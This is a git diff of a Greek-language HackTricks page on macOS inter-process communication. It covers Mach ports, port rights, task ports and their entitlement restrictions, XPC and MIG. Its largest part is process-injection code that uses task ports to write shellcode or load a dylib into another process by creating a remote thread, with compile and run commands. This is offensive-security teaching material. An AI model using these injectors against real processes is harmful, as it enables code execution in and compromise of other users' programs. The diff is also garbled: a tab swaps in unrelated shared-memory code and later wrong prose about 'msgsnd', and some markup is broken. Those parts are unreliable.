* **Δικαίωμα Αποστολής-μία-φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
|
||||
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνθεση ενός μηνύματος από ένα σύνολο θυρών αποσύρει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||
* **Νεκρό όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
|
||||
|
||||
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστή εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
|
||||
|
||||
### Θύρες Αρχείων
|
||||
|
||||
Οι θύρες αρχείων επιτρέπουν την ενθυλάκωση περιγραφέων αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατόν να δημιουργηθεί ένα `fileport` από έναν δεδομένο FD χρησιμοποιώντας το `fileport_makeport` και να δημιουργηθεί ένα FD από ένα fileport χρησιμοποιώντας το `fileport_makefd`.
|
||||
Οι θύρες αρχείων επιτρέπουν την ενθυλάκωση των περιγραφέων αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατόν να δημιουργηθεί ένα `fileport` από έναν δεδομένο FD χρησιμοποιώντας το `fileport_makeport` και να δημιουργηθεί ένα FD από ένα fileport χρησιμοποιώντας το `fileport_makefd`.
|
||||
|
||||
### Δημιουργία Επικοινωνίας
|
||||
|
||||
|
@ -52,7 +52,7 @@
|
|||
|
||||
1. Η Εργασία **Α** ξεκινά μια **νέα θύρα**, αποκτώντας ένα **δικαίωμα ΛΗΨΗΣ** στη διαδικασία.
|
||||
2. Η Εργασία **Α**, κατέχοντας το δικαίωμα ΛΗΨΗΣ, **δημιουργεί ένα δικαίωμα ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
|
||||
3. Η Εργασία **Α** καθιερώνει μια **σύνδεση** με τον **διακομιστή εκκίνησης**, παρέχον
|
||||
3. Η Εργασία **Α** καθιερώνει μια **σύνδεση** με τον **διακομιστή εκκίνησης**, παρέχοντας το **
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -63,9 +63,9 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Οι διεργασίες που διαθέτουν ένα _**δικαίωμα λήψης (receive right)**_ μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι **αποστολείς** παραχωρούνται ένα _**δικαίωμα αποστολής (send)**_ ή ένα _**δικαίωμα αποστολής μία φορά (send-once right)**_. Το δικαίωμα αποστολής μία φορά είναι αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο γίνεται άκυρο.
|
||||
Οι διεργασίες που διαθέτουν ένα _**δικαίωμα λήψης (receive right)**_ μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι **αποστολείς** παραχωρούνται ένα _**δικαίωμα αποστολής (send)**_ ή ένα _**δικαίωμα αποστολής μία φορά (send-once right)**_. Το δικαίωμα αποστολής μία φορά είναι αποκλειστικά για την αποστολή ενός μοναδικού μηνύματος, μετά το οποίο γίνεται άκυρο.
|
||||
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος mach που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Τα bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής μία φορά** πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος της mach που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Τα bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής μία φορά** πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Ωστόσο, **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για τη δημιουργία της διπλής κατεύθυνσης επικοινωνίας.
|
||||
|
@ -79,7 +79,7 @@ mach_msg_id_t msgh_id;
|
|||
* `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Σημειώστε ότι τα **μηνύματα mach αποστέλλονται μέσω μιας \_θύρας mach**\_, η οποία είναι ένα κανάλι επικοινωνίας **μοναδικού παραλήπτη**, **πολλαπλών αποστολέων** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια θύρα mach, αλλά ανά πάσα στιγμή μόνο **μια διεργασία μπορεί να διαβάσει** από αυτήν.
|
||||
Σημειώστε ότι τα **μηνύματα mach αποστέλλονται μέσω μιας \_θύρας mach**\_, η οποία είναι ένα κανάλι επικοινωνίας με **έναν μόνο παραλήπτη** και **πολλούς αποστολείς** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια θύρα mach, αλλά ανά πάσα στιγμή μόνο **μια διεργασία μπορεί να διαβάσει** από αυτήν.
|
||||
{% endhint %}
|
||||
|
||||
### Απαρίθμηση θυρών
|
||||
|
@ -90,7 +90,7 @@ lsmp -p <pid>
|
|||
|
||||
### Παράδειγμα κώδικα
|
||||
|
||||
Σημειώστε πως ο **αποστολέας** εκχωρεί ένα θύρα, δημιουργεί ένα **δικαίωμα αποστολής** για το όνομα `org.darlinghq.example` και το στέλνει στο **διακομιστή εκκίνησης** ενώ ο αποστολέας ζήτησε το **δικαίωμα αποστολής** αυτού του ονόματος και το χρησιμοποίησε για να **στείλει ένα μήνυμα**.
|
||||
Σημειώστε πώς ο **αποστολέας** εκχωρεί ένα θύρα, δημιουργεί ένα **δικαίωμα αποστολής** για το όνομα `org.darlinghq.example` και το στέλνει στο **διακομιστή εκκίνησης** ενώ ο αποστολέας ζήτησε το **δικαίωμα αποστολής** αυτού του ονόματος και το χρησιμοποίησε για να **στείλει ένα μήνυμα**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -161,54 +161,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
### Αποστολέας.c
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/shm.h>
|
||||
|
||||
#define SHMKEY 75
|
||||
#define SHMSZ 27
|
||||
|
||||
int main() {
|
||||
int shmid;
|
||||
key_t key;
|
||||
char *shm, *s;
|
||||
|
||||
key = SHMKEY;
|
||||
|
||||
if ((shmid = shmget(key, SHMSZ, IPC_CREAT | 0666)) < 0) {
|
||||
perror("shmget");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {
|
||||
perror("shmat");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
s = shm;
|
||||
|
||||
for (char c = 'a'; c <= 'z'; c++) {
|
||||
*s++ = c;
|
||||
}
|
||||
*s = '\0';
|
||||
|
||||
while (*shm != '*') {
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="sender.c" %}Ο πομπός (sender) είναι ο χρήστης που δημιουργεί ένα μήνυμα και το στέλνει στον παραλήπτη (receiver) μέσω της διαδικασίας επικοινωνίας μεταξύ διεργασιών (IPC) στο macOS. Ο πομπός χρησιμοποιεί τη συνάρτηση `msgsnd` για να στείλει το μήνυμα στην ουρά μηνυμάτων IPC. Αυτό το παράδειγμα δείχνει πώς ο πομπός μπορεί να στείλει ένα μήνυμα στον παραλήπτη.{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -265,18 +218,18 @@ printf("Sent a message\n");
|
|||
|
||||
### Προνομιούχες Θύρες
|
||||
|
||||
* **Θύρα οικοδεσπότη**: Αν ένας διεργασία έχει δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
|
||||
* **Προνομιούχα θύρα οικοδεσπότη**: Μια διεργασία με δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως φόρτωση επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζοχρήστης** για να λάβει αυτήν την άδεια.
|
||||
* **Θύρα κεντρικού υπολογιστή**: Αν ένας διεργασία έχει δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
|
||||
* **Προνομιούχα θύρα κεντρικού υπολογιστή**: Μια διεργασία με δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως τη φόρτωση επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζική** για να λάβει αυτήν την άδεια.
|
||||
* Επιπλέον, για να καλέσει το API **`kext_request`** απαιτούνται άλλα δικαιώματα **`com.apple.private.kext*`** τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||
* **Θύρα ονόματος εργασίας:** Μια μη προνομιούχα έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχό της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||
* **Θύρα εργασίας** (επίσης γνωστή ως θύρα πυρήνα)**:** Με δικαίωμα Αποστολής πάνω από αυτήν τη θύρα είναι δυνατόν να ελέγχεται η εργασία (ανάγνωση/εγγραφή μνήμης, δημιουργία νημάτων...).
|
||||
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** γι' αυτήν τη θύρα για την εργασία του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά τη διάρκεια **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό suid). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά τη διάρκεια ενός `fork()`.
|
||||
* Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
|
||||
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτήν τη θύρα για την εργασία του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά τη διάρκεια **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό suid). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά την εκτέλεση ενός `fork()`.
|
||||
* Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
|
||||
* Αν η εφαρμογή έχει το δικαίωμα **`com.apple.security.get-task-allow`**, διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν το επιτρέπει στις παραγωγικές εκδόσεις.
|
||||
* Οι εφαρμογές με το δικαίωμα **`com.apple.system-task-ports`** μπορούν να λάβουν τη **θύρα εργασίας για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό δίνεται μόνο σε εφαρμογές της Apple.
|
||||
* **Ο ριζοχρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
|
||||
* Οι εφαρμογές με το δικαίωμα **`com.apple.system-task-ports`** μπορούν να λάβουν τη **θύρα εργασίας για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
|
||||
* **Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
|
||||
|
||||
### Εισαγωγή Shellcode σε νήμα μέσω της θύρας Εργασίας
|
||||
### Εισαγωγή Shellcode σε νήμα μέσω θύρας Εργασίας
|
||||
|
||||
Μπορείτε να αντλήσετε ένα shellcode από:
|
||||
|
||||
|
@ -314,7 +267,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}Το entitlements.plist περιέχει τις δικαιώματα που έχει ένα εκτελέσιμο αρχείο στο macOS. Τα entitlements μπορούν να περιορίσουν τις δυνατότητες ενός προγράμματος, όπως η πρόσβαση σε συγκεκριμένα αρχεία ή η επικοινωνία με άλλες εφαρμογές μέσω της διαδικασίας IPC. Είναι σημαντικό να ελέγχετε τα entitlements που έχουν ανατεθεί σε κάθε εκτελέσιμο αρχείο για να διασφαλίσετε την ασφάλεια του συστήματός σας. %}
|
||||
{% tab title="entitlements.plist" %}Το αρχείο entitlements.plist περιέχει τις ειδικές άδειες που απαιτούνται από μια εφαρμογή για να έχει πρόσβαση σε συγκεκριμένους πόρους ή λειτουργίες στο macOS. Αυτό το αρχείο πρέπει να συμπεριλαμβάνεται στο πακέτο εφαρμογής και να καθορίζει τις επιπρόσθετες δυνατότητες που η εφαρμογή έχει δικαίωμα να χρησιμοποιήσει. Οι entitlements μπορούν να περιορίσουν τις δυνατότητες μιας εφαρμογής ή να τις επεκτείνουν, ανάλογα με τις ανάγκες της.{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -327,7 +280,7 @@ return 0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Μεταγλωττίστε** τον προηγούμενο προγραμματισμό και προσθέστε τα **δικαιώματα** ώστε να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αλλιώς θα χρειαστεί να χρησιμοποιήσετε **sudo**).
|
||||
**Μεταγλωττίστε** τον προηγούμενο προγραμματισμό και προσθέστε τα **δικαιώματα** για να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αν όχι, θα χρειαστεί να χρησιμοποιήσετε **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -528,23 +481,27 @@ inject(pid);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</details>
|
||||
|
||||
### Αρχειοθετημένος Πίνακας Περιεχομένων
|
||||
|
||||
- [Επικοινωνία Μεταξύ Διεργασιών macOS (IPC)](/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Διείσδυση Dylib σε νήμα μέσω της θύρας Task
|
||||
### Εισαγωγή Dylib σε νήμα μέσω της θύρας Task
|
||||
|
||||
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη διείσδυση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
|
||||
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
|
||||
|
||||
Ήταν δυνατό να **διεισδύσουμε ένα απλό shellcode** για να εκτελέσουμε μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα posix** apis, μόνο με το Mach. **Πιο πολύπλοκες διεισδύσεις** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
|
||||
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα με το posix** api, μόνο με το Mach. **Πιο πολύπλοκες εισαγωγές** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
|
||||
|
||||
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread μπορεί να **καλέσει το dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράψετε νέο shellcode για να εκτελέσετε διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
|
||||
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει το dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράψετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
|
||||
|
||||
Μπορείτε να βρείτε **παραδειγματικά dylibs** σε (για παράδειγμα αυτό που δημιουργεί ένα αρχείο καταγραφής και μετά μπορείτε να το ακούσετε):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -758,12 +715,12 @@ fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμ
|
|||
return (-4);
|
||||
}
|
||||
|
||||
// Ορισμός δικαιωμάτων στη μνήμη στον εκχωρημένο σωρό
|
||||
// Ορισμός δικαιωμάτων στη μνήμη στον εκχωρημένο χώρο στοίβας
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμης για τον σωρό του απομακρυσμένου νήματος: Σφάλμα %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμης για τη στοίβα του απομακρυσμένου νήματος: Σφάλμα %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -774,7 +731,7 @@ thread_act_t remoteThread;
|
|||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // αυτός είναι ο πραγματικός σωρός
|
||||
remoteStack64 += (STACK_SIZE / 2); // αυτή είναι η πραγματική στοίβα
|
||||
//remoteStack64 -= 8; // απαιτείται ευθυγράμμιση των 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
@ -784,7 +741,7 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Απομακρυσμένος Σωρός 64 0x%llx, Ο απομακρυσμένος κώδικας είναι %p\n", remoteStack64, p );
|
||||
printf ("Απομακρυσμένη Στοίβα 64 0x%llx, Ο κώδικας είναι %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
@ -821,7 +778,9 @@ fprintf(stderr,"Το Dylib δεν βρέθηκε\n");
|
|||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</details>
|
||||
|
||||
Το macOS χρησιμοποιεί την αρχιτεκτονική XNU (X is Not Unix), η οποία περιλαμβάνει τον πυρήνα Mach και τον πυρήνα BSD. Η επικοινωνία μεταξύ διεργασιών στο macOS γίνεται μέσω μηχανισμών IPC (Inter-Process Communication) όπως τα Unix domain sockets, τα Mach ports και τα XPC services.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
|
@ -838,7 +797,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### Βασικές Πληροφορίες
|
||||
|
||||
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και στο iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διεργασία που έχει διαρρεύσει.
|
||||
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διερρηγμένη διαδικασία.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς **μπορεί να είναι ευάλωτη** ελέγξτε:
|
||||
|
||||
|
@ -846,9 +805,9 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Μετατροπέας Διεπαφής Mach
|
||||
## MIG - Παραγωγός Διεπαφής Mach
|
||||
|
||||
Ο MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Βασικά **δημιουργεί τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμού. Ακόμα κι αν ο δημιουργημένος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
|
||||
Το MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Βασικά **δημιουργεί τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμού. Ακόμα κι αν ο δημιουργημένος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλά να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
|
@ -870,10 +829,10 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,13 +8,13 @@
|
|||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
